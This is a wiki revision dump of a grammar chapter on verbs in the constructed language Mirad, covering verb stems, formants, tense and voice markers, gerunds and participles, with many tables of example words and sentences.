| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>cilx8v47wx1oycqepahmmt3we0f38bq</sha1>
    </revision>
    <revision>
      <id>4670509</id>
      <parentid>4670508</parentid>
      <timestamp>2026-09-16T21:19:51Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Expressing a Public or Official Action with do- */</comment>
      <origin>4670509</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="142334" sha1="m7mdy4fxod5rtbzknbkrhj2p94d6xbi" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
